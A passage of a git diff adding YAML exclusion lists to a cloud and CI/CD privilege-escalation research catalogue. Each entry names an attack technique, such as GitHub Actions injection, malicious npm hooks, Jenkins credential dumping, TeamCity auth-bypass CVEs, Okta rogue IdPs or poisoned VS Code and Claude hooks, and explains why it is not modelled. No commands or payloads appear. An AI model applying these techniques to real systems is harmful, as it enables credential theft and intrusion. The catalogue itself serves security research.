exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md#trusted-profiles + technique: Apply an authorized IBM Cloud trusted profile + reason: IBM Cloud is not a supported PEASO privesc provider. Applying a profile requires an exact matching link or federation rule, current claims and a successful token exchange; a profile's existence alone proves no edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-basic-information.md#api-keys + technique: Read another user’s doctl token from host config + reason: Reading another user’s doctl config could yield that user’s PAT, but host file readability, token validity, + owner, scopes and team role are runtime facts. DigitalOcean is not a supported catalog provider; no DigitalOcean + identity or PAT selector exists in the schema. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_ci_cd.yaml b/src/privilege-escalation-paths-research/azure/_excluded_ci_cd.yaml new file mode 100644 index 0000000000..eeea245ecc --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_ci_cd.yaml @@ -0,0 +1,450 @@ +# Reviewed source techniques without a supported principal escalation edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#vulnerable-pattern--rce-on-runner + source_revision: 0b36331 + technique: Issue/PR-derived expression inserted into run shell + reason: A workflow must interpolate an attacker-controlled issue or pull-request field into a shell step, + and that job must expose a more privileged token, secret, or identity. GitHub workflow text, event permissions, + and runner/secret binding are absent from the four-provider snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#comment-state-confusion-spoofed-bot-comments--shell-injection + source_revision: 0b36331 + technique: Spoof find-comment bot marker and inject through comment-body + reason: Requires a find-comment step that matches body text without checking author, then interpolates the + selected comment into a privileged shell step. The repository workflow and comment-selection behavior are + not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md#toctou-race-against-bot-comments + source_revision: 0b36331 + technique: Race bot comment to win find-comment selection + reason: Requires the attacker comment to win a live timing race against the bot comment and to be selected + for shell interpolation; a static snapshot cannot establish the winner. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#lifecycle-hooks + source_revision: 0b36331 + technique: Publish malicious npm lifecycle hook + reason: Requires control of an npm release consumed by a victim job or workstation with install scripts enabled. + Package-version content and the consuming host/job identity are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#bindinggyp--node-gyp-execution-phantom-gyp + source_revision: 0b36331 + technique: Publish native binding.gyp execution path + reason: Requires a published package with binding.gyp to be installed or rebuilt through node-gyp on a credential-bearing + host; package content and the install/rebuild event are not in the snapshot. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runtime-backdoors-at-plaintext-secret-boundaries + source_revision: 0b36331 + technique: Backdoor package credential/seed handling method + reason: Requires a malicious package method to receive an actual secret before validation or encryption and + exfiltrate it. Runtime data flow and secret value are unavailable to configuration evaluation. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#runner-secret-theft-after-install-time-execution + source_revision: 0b36331 + technique: Read CI env/files or Runner.Worker memory + reason: Requires already-running attacker code on the runner plus readable environment, files, or Runner.Worker + memory and a live credential. Those host/process facts are not configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#workflow-assisted-exfiltration + source_revision: 0b36331 + technique: Use workflow-write GitHub token to run toJSON(secrets) artifact workflow + reason: Requires repository workflow-write authority, an executable workflow, and secrets available to its + job after environment protection. GitHub workflow authorization and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#wormable-npm-publishing + source_revision: 0b36331 + technique: Republish malicious versions using stolen npm token + reason: Requires a stolen, valid npm publisher token and a future downstream install. Neither token possession + nor install timing is a configured source-to-target edge. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#repository-to-workstation-propagation + source_revision: 0b36331 + technique: Plant VS Code task or Claude SessionStart hook + reason: Requires a maintainer to open the poisoned repository in VS Code or start a Claude session with hooks + enabled; that workstation action is not a configuration fact. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#dead-drop-c2-and-github-exfiltration + source_revision: 0b36331 + technique: Reuse stolen classic GitHub token for public repo exfiltration + reason: Requires possession of a stolen live GitHub token and runtime exfiltration behavior; the token holder + and its current scope cannot be inferred from cloud configuration. +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md#trusted-publishing-and-provenance-limits + source_revision: 0b36331 + technique: Compromised id-token:write trusted-publisher release job mints npm credential + reason: Requires attacker code in a release job whose OIDC subject matches the npm trusted-publisher binding + and whose job grants id-token:write. GitHub workflow content and npm binding are uncollected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#oauth-applications + source_revision: 0b36331 + technique: OAuth consent grants third-party application user scopes + reason: OAuth consent must be granted by the victim user for specific scopes; app registration alone does + not convey that user identity. Consent records and victim action are outside the snapshot. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-secrets + source_revision: 0b36331 + technique: Execute Actions job to read declared secrets + reason: A GitHub job must execute attacker-controlled code and declare a secret available in that event/environment. + Workflow text, job execution, and secret delivery are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#git-action-compromise + source_revision: 0b36331 + technique: Malicious action steals GITHUB_TOKEN or job secrets + reason: A malicious action must be selected by a job that exposes GITHUB_TOKEN, secrets, or a cloud identity. + Action content, workflow invocation, and job secret grants are not collected. +- source: src/pentesting-ci-cd/github-security/basic-github-information.md#branch-protections + source_revision: 0b36331 + technique: Unbound required check or bot skip directive bypasses merge gate + reason: A required check must be unbound or a bot must honor a skip directive for the protected branch; resulting + privileged pipeline execution still needs a consumer workflow. Branch rules and bot behavior are outside + the snapshot. +- source: src/pentesting-ci-cd/gogs-security/README.md#abusing-git-rebase---exec-for-rce + source_revision: 0b36331 + technique: Gogs attacker ref parsed as git rebase --exec + reason: The vulnerable Gogs handler must pass an attacker-controlled ref to git rebase without option termination, + and its host must hold a target identity. Server version/code path and host identity are not collected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#sso-login + source_revision: 0b36331 + technique: Misconfigured SSO maps external identity into privileged Jenkins role + reason: Requires an external account to map through the configured SSO plugin into a privileged Jenkins role. + Plugin mapping and resulting user role are outside the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-builds-to-find-cleartext-secrets + source_revision: 0b36331 + technique: Read build logs/environment output for credentials + reason: Requires a readable build log or dumped environment containing a live credential for another identity; + Jenkins read rights and log contents are absent from the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#formvalidationtestconnection-endpoints-csrf-to-ssrfcredential-theft + source_revision: 0b36331 + technique: Abuse unchecked plugin validation to reuse stored credentials + reason: Requires a specific Jenkins plugin endpoint lacking POST and permission checks, a configured reusable + credential, and a reachable exfiltration target. Plugin code and runtime request behavior are absent. +- source: src/pentesting-ci-cd/jenkins-security/README.md#stealing-ssh-credentials + source_revision: 0b36331 + technique: Modify/create Jenkins node to send stored SSH credential to attacker host + reason: Requires Jenkins node-configuration permission, a stored SSH credential selected for the node, and + nonverifying host-key behavior. Jenkins node and credential configuration are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#pipeline-exploitation + source_revision: 0b36331 + technique: Poison writable Jenkinsfile used by privileged build + reason: Requires write to a Jenkinsfile actually consumed by a privileged build, with review and branch protection + permitting that revision; Jenkins SCM mapping and later build execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#dumping-secrets + source_revision: 0b36331 + technique: Use withCredentials in custom pipeline to expose in-scope credentials + reason: Requires Job/Configure or writable Jenkinsfile plus a build that can bind the target credential in + its scope. Credential scope and build execution are not collected. +- source: src/pentesting-ci-cd/jenkins-security/README.md#nodes--agents + source_revision: 0b36331 + technique: Select built-in or more privileged node to read cloud/local identity + reason: Requires a build to schedule on a higher-privilege node whose host/cloud token is reachable to the + job. Jenkins agent placement and host identity are not in the snapshot. +- source: src/pentesting-ci-cd/jenkins-security/README.md#from-disk + source_revision: 0b36331 + technique: Read Jenkins master.key and encrypted credential files then decrypt + reason: Requires filesystem read of both Jenkins master.key and encrypted credential material plus usable + ciphertext; these live host files are not represented. +- source: src/pentesting-ci-cd/jenkins-security/README.md#create-new-admin-user + source_revision: 0b36331 + technique: Disable Jenkins security in config.xml and reset administrator + reason: Requires write to Jenkins controller config.xml and a service restart; cloud configuration alone + cannot prove host file access or restart capability. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#cookie + source_revision: 0b36331 + technique: Reuse stolen JSESSIONID to impersonate Jenkins user + reason: Requires possession of a still-valid JSESSIONID cookie from a different user; session theft and validity + are runtime facts. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#credentials-access + source_revision: 0b36331 + technique: Run job code to access in-scope Jenkins credentials + reason: Requires runnable job code and an in-scope Jenkins credential actually bound to that job; job/credential + scope and execution are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md#secrets-in-pluginjob-configs-on-disk + source_revision: 0b36331 + technique: Read plaintext/encrypted secrets from plugin/job XML + reason: Requires read of particular plugin or job XML files containing live secrets and, for encrypted values, + decryption material. Host file content is absent. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md#detailed-exploitation-process + source_revision: 0b36331 + technique: CVE-2024-43044 file read forges admin remember-me cookie + reason: Requires a vulnerable Jenkins version, readable user and signing-key files, and an accepted forged + cookie. Vulnerability state and host file contents are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md#jenkins-dumping-secrets-from-groovy + source_revision: 0b36331 + technique: Administer uses Script Console to enumerate/decrypt global credentials + reason: Requires Jenkins Administer and stored global credentials to enumerate via Script Console; Jenkins + authorization and credential inventory are outside the provider snapshot. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#creating-a-new-pipeline + source_revision: 0b36331 + technique: Create pipeline with shell step and run on agent + reason: Requires Job/Create, permission to run the new job, and an agent carrying a more privileged host/cloud + identity. Jenkins job and agent bindings are not collected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md#modifying-a-pipeline + source_revision: 0b36331 + technique: Modify existing pipeline script for next run + reason: Requires Job/Configure on an existing pipeline, later execution, and an agent with a target identity + or secret. Jenkins configuration and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#creating-a-project + source_revision: 0b36331 + technique: Create Freestyle project with Execute shell + reason: Requires permission to create and run a Freestyle job on a credential-bearing agent. Jenkins permissions + and agent placement are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md#modifying-a-project + source_revision: 0b36331 + technique: Add shell build step to configured project + reason: Requires Job/Configure on a project, a later build, and a credential-bearing agent. Jenkins permissions, + configuration, and scheduling are uncollected. +- source: src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md#jenkins-rce-with-groovy-script + source_revision: 0b36331 + technique: Administer executes Groovy on controller/agent + reason: Jenkins Administer can invoke Groovy on controller or agents, but the reachable host/cloud identity + depends on server/agent placement and host credentials not in the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Use AD ticket for Kerberos Okta sign-in + reason: Requires possession of a valid AD user Kerberos ticket and an enabled Okta Kerberos integration; + ticket possession and the mapped Okta user are runtime/integration facts. +- source: src/pentesting-ci-cd/okta-security/README.md#login-in-okta-via-kerberos + source_revision: 0b36331 + technique: Silver Ticket via compromised Okta delegation SPN + reason: Requires a compromised delegation key/SPN, a forgeable ticket, and an Okta Kerberos mapping. Key + compromise and accepted ticket are not configuration-only facts. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-okta-ad-agent + source_revision: 0b36331 + technique: Steal/decrypt AD Agent token and intercept authentication + reason: Requires host access to the AD Agent, DPAPI decryption of its token, and live authentication traffic + to capture credentials. Host key material and traffic are absent. +- source: src/pentesting-ci-cd/okta-security/README.md#hijacking-ad-as-an-admin + source_revision: 0b36331 + technique: Register rogue Okta AD connector as admin + reason: Requires Okta administrator authority to register the rogue AD connector and victim authentication + routed through it; the latter is a runtime event outside the snapshot. +- source: src/pentesting-ci-cd/okta-security/README.md#okta-fake-saml-provider + source_revision: 0b36331 + technique: Privileged user adds attacker-controlled SAML IdP + reason: Requires Okta IdP administrator authority and a routing/account-link rule accepting the attacker-controlled + SAML subject. Okta policy and subject mapping are uncollected. +- source: src/pentesting-ci-cd/okta-security/README.md#colleague-impersonation-attack + source_revision: 0b36331 + technique: User-editable mapped primaryEmail impersonates colleague in app + reason: Requires a user-editable Okta field mapped as a target app identifier and app account-link behavior + that accepts the collision. Neither mapping nor target-app behavior is collected. +- source: src/pentesting-ci-cd/okta-security/README.md#evading-behavioural-detection-policies + source_revision: 0b36331 + technique: Replay captured Okta access token at app URL + reason: Requires a captured live access token and an app-specific sign-on path accepting replay. Token possession + and session validity are runtime facts. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#profile-editor + source_revision: 0b36331 + technique: User-editable Okta attribute mapped into external app identifier + reason: Requires a user-editable profile field to map into another application identifier and the app to + link that value to a victim account. The mapping and collision behavior are uncollected. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#identity-providers + source_revision: 0b36331 + technique: Compromised trusted inbound IdP pivots into Okta + reason: Requires a trusted inbound IdP, attacker control of a matching subject, and an Okta account-link/routing + rule accepting it. IdP and Okta mapping facts are absent. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#delegated-authentication + source_revision: 0b36331 + technique: Compromised AD/LDAP identity authenticates through Okta delegation + reason: Requires a compromised AD/LDAP user credential and delegated authentication mapping to an Okta user; + credential possession is runtime evidence. +- source: src/pentesting-ci-cd/okta-security/okta-hardening.md#api + source_revision: 0b36331 + technique: Steal or use Okta API token with creator privileges + reason: The token must actually be stolen or issued, remain valid, and inherit its creator’s current privileges. + Token secret possession is not implied by API-token metadata. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository secrets in source/commit history + reason: A repository or historical commit must contain a live credential that maps to a target principal. + Code content, secret validity, and identity join are not in the snapshot. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#vcs-pentesting-methodology + source_revision: 0b36331 + technique: Repository write poisons production/developer/CI code + reason: Requires a writable repository path consumed by a privileged deployment or workstation, followed + by execution. SCM ACL, consumer mapping, and execution are absent. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#ppe---poisoned-pipeline-execution + source_revision: 0b36331 + technique: D-PPE/I-PPE/3PE reaches privileged pipeline + reason: Requires writable pipeline input that reaches an executing privileged pipeline under D-PPE, I-PPE, + or 3PE; SCM/CI configuration and consumer identity are uncollected. +- source: src/pentesting-ci-cd/pentesting-ci-cd-methodology.md#dependency--registry-supply-chain-abuse + source_revision: 0b36331 + technique: Malicious package hook/bin or stolen workflow/npm token propagates + reason: Requires malicious package/artifact content consumed by a privileged job and a future install or + execution; registry content and consumer events are not collected. +- source: src/pentesting-ci-cd/supabase-security.md#database-configuration + source_revision: 0b36331 + technique: Brute force known Supabase Postgres username/endpoint + reason: Requires successfully guessing a live Postgres password for the endpoint; endpoint and username disclosure + alone grant no database identity. +- source: src/pentesting-ci-cd/supabase-security.md#rls-and-views-write-bypass-via-postgrest + source_revision: 0b36331 + technique: Updatable definer view exposes base-table write beyond RLS + reason: Requires an exposed updatable definer view, grants to anon/auth, owner RLS bypass, and an actual + write to protected rows. Supabase/Postgres view and RLS facts are absent. +- source: src/pentesting-ci-cd/supabase-security.md#jwt-secret + source_revision: 0b36331 + technique: Leaked JWT signing secret forges service_role or user JWT + reason: Requires possession of the live Supabase JWT signing secret and a service_role/user token accepted + by the project. Secret value and validity are runtime facts. +- source: src/pentesting-ci-cd/supabase-security.md#edge-functions + source_revision: 0b36331 + technique: Modify/create Edge Function to read function-scoped secrets + reason: Requires Edge Function edit/deploy authority, a function that receives the secret, and invocation. + Supabase function permissions, secret scope, and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#guest-access-abuse + source_revision: 0b36331 + technique: Guest downloads logs/artifacts containing credentials + reason: Requires a guest-visible build log or artifact containing a live credential; guest access alone does + not imply secret exposure. Artifact content and credential validity are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2024-27198--cve-2024-27199 + source_revision: 0b36331 + technique: Auth bypass creates SYSTEM_ADMIN or admin token + reason: Requires a TeamCity version vulnerable to CVE-2024-27198/27199 and a successful bypass request; deployment + patch level and exploitability are not in the provider snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-takeover-cve-2023-42793 + source_revision: 0b36331 + technique: Auth bypass via RPC2 admin token + reason: Requires a pre-2023.05.4 vulnerable TeamCity instance and successful RPC2 token creation; version + and endpoint behavior are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#unauthenticated-agent-deserialization-rce-xstream--cve-2026-63077 + source_revision: 0b36331 + technique: Agent-session XStream deserialization reaches server RCE + reason: Requires the vulnerable agent-session XStream code path and attacker-controlled serialized traffic; + software version and runtime deserialization are absent. +- source: src/pentesting-ci-cd/teamcity-security/README.md#admin-rce-by-uploading-a-plugin + source_revision: 0b36331 + technique: System Administrator uploads server plugin for RCE + reason: Requires TeamCity SYSTEM_ADMIN and plugin upload/load on the server; TeamCity roles and server host + identity are not in the snapshot. +- source: src/pentesting-ci-cd/teamcity-security/README.md#rce-by-creating-or-modifying-build-steps + source_revision: 0b36331 + technique: Edit build steps and queue build + reason: Requires TeamCity build-configuration edit/create and build-run rights on an agent carrying a target + identity. TeamCity ACL and agent mapping are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#target-a-more-interesting-agent + source_revision: 0b36331 + technique: Select or force privileged agent + reason: Requires rights to choose or force a specific more-privileged agent and a build that runs there; + agent requirements and scheduling are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#dump-build-parameters--password-parameters + source_revision: 0b36331 + technique: Read raw or execute code with password parameters + reason: Requires a password parameter exposed to the caller or injected into a runnable build; TeamCity parameter + scope, masking and execution are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#poison-versioned-settings--kotlin-dsl + source_revision: 0b36331 + technique: Write trusted .teamcity Kotlin DSL to add privileged step + reason: Requires write to the trusted .teamcity Kotlin DSL path and a synchronization/build that applies + it; VCS settings and approval flow are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pull-request--untrusted-build-abuse + source_revision: 0b36331 + technique: Everybody PR build executes external code with secrets + reason: Requires an Everybody-triggerable PR build that checks out untrusted code and delivers secrets or + credentials; TeamCity trigger, branch and secret rules are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#run-custom-build-parameter-injection + source_revision: 0b36331 + technique: Run Build parameter or branch injected into unsafe command + reason: Requires Run Build with controllable parameter/branch and an unsafe command interpolation in the + build step; TeamCity step text is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#service-message-abuse + source_revision: 0b36331 + technique: Untrusted build output changes parameters/artifacts for downstream job + reason: Requires an untrusted build output service message to influence a later privileged step/job and deliver + an identity or secret; downstream dependency behavior is uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#artifact--dependency-poisoning + source_revision: 0b36331 + technique: Poison artifact consumed by privileged build + reason: Requires write access to an artifact selected by a later privileged build and execution of its content; + artifact mapping and future build are not collected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#pivot-into-internal-services + source_revision: 0b36331 + technique: Forge internal JWT using secret found on agent + reason: Requires an actual shared JWT/HMAC secret on the agent and a service that trusts it for an admin + subject. Secret value and target service acceptance are runtime facts. +- source: src/pentesting-ci-cd/teamcity-security/README.md#vcs-root--repository-credential-abuse + source_revision: 0b36331 + technique: Use TeamCity VCS root PAT/SSH key to control repository + reason: Requires access to a VCS root credential value (not just metadata) and a token/key scoped to the + target repo. TeamCity credential storage and VCS grants are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#debug--diagnostics-endpoints + source_revision: 0b36331 + technique: Admin debug database/process endpoint + reason: Requires TeamCity administrator/debug endpoint right, enabled diagnostics property, and an endpoint + that reaches DB or process identity. These settings are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#agent-server-trust--rogue-agent-angles + source_revision: 0b36331 + technique: Rogue/compromised agent receives build credentials + reason: Requires rogue-agent authorization and a later build scheduled with credentials on that agent; authorization, + scheduling, and credential delivery are uncollected. +- source: src/pentesting-ci-cd/teamcity-security/README.md#logs-artifacts--data-directory-as-secrets + source_revision: 0b36331 + technique: Read super-user token from teamcity-server.log + reason: Requires OS/log-platform read of teamcity-server.log containing a still-valid super-user token; TeamCity + guest/project access does not grant server-log read. + +# Travis source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/travisci-security/README.md#triggers + technique: Repository writer runs attacker-controlled CI code in the build identity + reason: A push or accepted PR starts a job, but privilege gain depends on runtime execution of attacker code + and which secret-bearing variables the branch or fork receives; the page names no independent build identity. +- source: src/pentesting-ci-cd/travisci-security/README.md#third-party-pr + technique: Fork PR receives protected CI environment variables + reason: A fork PR can receive secrets only when the project shares encrypted variables with forks and the + PR job executes attacker code; credential value and represented principal require runtime secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read configured environment and secure values through a job + reason: Reading job environment values requires attacker code to run in an eligible build; whether any value + is a usable credential and which identity it represents require secret content. +- source: src/pentesting-ci-cd/travisci-security/README.md#dumping-secrets + technique: Read encrypted-file plaintext or key and IV from a job + reason: Decrypting an .enc file requires an eligible job, injected key and IV, and the file payload; whether + its plaintext contains a credential requires file content. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#environment-variables + technique: Project environment secrets become readable inside a permitted build + reason: The basic page describes secret injection into an eligible job, but identifying an escalation requires + the actual variable value, its credential type, and the job branch/fork exposure. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-secrets + technique: RSA-encrypted secure values in .travis.yml are decrypted in a permitted build + reason: The RSA public key alone does not decrypt secure values; an eligible running job and the decrypted + value are needed to identify a gained credential. +- source: src/pentesting-ci-cd/travisci-security/basic-travisci-information.md#custom-encrypted-files + technique: Encrypted file can be decrypted with build-injected key and IV + reason: The .enc file and injected key/IV are necessary, but only the decrypted file contents can establish + a credential and target identity. + +# Vercel source exclusions; reviewed in pa-k8s-other-s08.yaml. +- source: src/pentesting-ci-cd/vercel-security.md#domains + technique: Map a production domain to a different environment that exposes secrets or functions + reason: Changing a domain environment alone does not grant credentials; the served application content, protected + function authorization, and actual secret disclosure must be inspected. +- source: src/pentesting-ci-cd/vercel-security.md#environments + technique: Share production secrets with lower-trust development or preview environment + reason: Variable sharing is a configuration fact, but the lower-trust environment must execute code or expose + the value and the value must contain a usable credential; those runtime and content facts are needed. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: NEXT_PUBLIC_ team variable exposes credential to every linked project client + reason: NEXT_PUBLIC_ can put a value in client code, but the deployed bundle must actually contain that value + and it must be a usable credential; require bundle and secret-content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables + technique: Non-sensitive team variable is readable to members with sufficient environment access + reason: A non-sensitive variable may be readable under team access, but a principal edge requires the variable + value to be a usable credential and its represented identity to be identified. +- source: src/pentesting-ci-cd/vercel-security.md#deployment-protection + technique: Bypass deployment protection through public bypass secret, share link, weak password, exception, + or broad allowlist + reason: A bypassed deployment gives application access; privilege gain requires a protected endpoint or response + that yields credentials or a stronger application identity, which needs application runtime/content inspection. +- source: src/pentesting-ci-cd/vercel-security.md#security + technique: Public build logs or source paths can reveal secrets if logs/source contain them + reason: Public build logs or source paths only yield a principal edge if the exposed artifact contains a + usable credential; the particular log/source content and represented identity are needed. +- source: src/pentesting-ci-cd/vercel-security.md#advanced + technique: Directory listing exposes files that could contain credentials + reason: Directory listing exposes files only if enabled and the directory is reachable; a principal edge + further requires a listed file containing a usable credential and identification of its target identity. +- source: src/pentesting-ci-cd/vercel-security.md#source + technique: Read complete deployment source to find embedded credentials + reason: Source readability alone is not privilege escalation; the deployment source must contain a usable + credential and its target principal must be identified. +- source: src/pentesting-ci-cd/vercel-security.md#log-drains + technique: Configure external Log Drain to receive logs containing secrets + reason: A Log Drain receives logs, but a credential edge requires a log record containing a usable credential + and its represented principal; inspect runtime log content. +- source: src/pentesting-ci-cd/vercel-security.md#security--privacy + technique: Sensitive environment variable policy disabled permits readable team variables + reason: Disabling sensitive-variable enforcement does not itself expose credentials; a specific non-sensitive + variable, readable to the source, must contain a usable credential. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Team NEXT_PUBLIC_ variables leak application credentials to public clients + reason: The team-level NEXT_PUBLIC_ case is the same exposure mechanism as the project section, but a deployed + bundle and credential-bearing value are needed for a principal edge. +- source: src/pentesting-ci-cd/vercel-security.md#environment-variables-1 + technique: Non-sensitive team variable values can be read by members + reason: Reading a non-sensitive team variable is only an escalation if its value is a usable credential of + a stronger principal; the value and target identity are needed. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s05.yaml b/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s05.yaml new file mode 100644 index 0000000000..a81dbe1a72 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_crossprovider_s05.yaml @@ -0,0 +1,173 @@ +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md#enumeration + technique: Read managed-database user passwords and connection credentials + reason: The database user-list and connection commands can return passwords, but a DigitalOcean principal, effective + API rights, selected cluster/user, live password and database trusted-source reachability are absent from the + snapshot. Credential contents and database roles must be verified before a database-user edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Reset a Droplet root password and enter its recovery console + reason: Password reset sends the temporary root password to the account email, and Recovery Console requires that + password. DigitalOcean action authority does not prove mailbox possession, successful reset or a working local + root login; these runtime and mailbox facts must be joined. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#rce + technique: Open a Droplet web console as its guest account + reason: Web Console access is a distinct Droplet guest shell, but the snapshot has no DigitalOcean control-panel + authorization, agent/SSH state, public address, network rules or resulting guest account. A console button alone + does not establish the shell identity. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#basic-information + technique: Restore or clone a Droplet disk image and read saved secrets + reason: A backup or snapshot is a disk image, not a known credential. The selected image, ability to create a + controlled clone or restore, readable filesystem, saved secret bytes and credential validity are uncollected. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-droplets.md#enumeration + technique: Read sensitive Droplet user data through metadata from a workload SSRF + reason: Droplet metadata may expose user data but has no instance-role credential endpoint. This path requires + a reachable SSRF or local workload access, actual secret bytes in user data and a validated target principal; + metadata availability alone proves no identity edge. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Extract a namespace API access key from doctl connection traffic + reason: doctl trace may expose a Functions namespace key, but the snapshot lacks DigitalOcean namespace authorization, + trace output, key validity and a comparison between the key rights and the source rights. A key with only equivalent + rights is not escalation. + +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md#basic-information + technique: Attach or move a volume to a controlled Droplet and read stored credentials + reason: Volume attach can expose disk bytes, but the snapshot lacks DigitalOcean attach/detach rights, compatible + controlled Droplet, encryption state, credential contents and validity. Attachment alone is not a credential + gain. + +- source: src/pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md#exploitation-storage-write-access-required + technique: Change a CVM LUKS2 segment to a null cipher and expose later plaintext data + reason: Changing the LUKS2 segment requires block-device/header write and a guest that trusts the modified header; + identity gain additionally requires later plaintext credential writes, storage read and a valid credential. + None of these block/guest/content facts is in a cloud IAM or Kubernetes RBAC snapshot. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#logical-components + technique: Launch an AWX job template with attached credentials against inventory hosts + reason: Execute on an AWX job template uses its linked credential for a fixed playbook, but the snapshot has no + AWX RBAC, template/playbook/inventory/credential join or proof the template exposes attacker-controlled actions. + A launch alone does not prove arbitrary host identity gain. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Inventory Ad Hoc privilege to execute commands with assigned credentials + reason: AWX Inventory Ad Hoc can run commands with a selected machine credential, but AWX inventory RBAC, enabled + ad hoc execution, credential assignment, target host and credential validity are not collected. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Use Credential Use plus template control to run an attacker playbook with a protected credential + reason: AWX Credential Use is not secret read. Escalation requires effective template creation/admin and execute + rights, a controllable project playbook, inventory association and a stronger usable credential; these AWX relationships + are absent. + +- source: src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md#supported-roles + technique: Modify an AWX project SCM source then execute its playbook through an authorized template + reason: Project SCM modification reaches host credentials only if an executable job template uses the modified + project and can be launched. AWX project/template/inventory/credential joins and SCM write rights are uncollected. + +- source: src/pentesting-ci-cd/apache-airflow-security/README.md#web-console-enumeration + technique: Read Airflow Connections or Variables containing credentials + reason: Airflow Connections and Variables may contain credentials, but UI read access, actual secret values, target + principal and credential validity are absent. A visible variable or connection name is insufficient. + +- source: 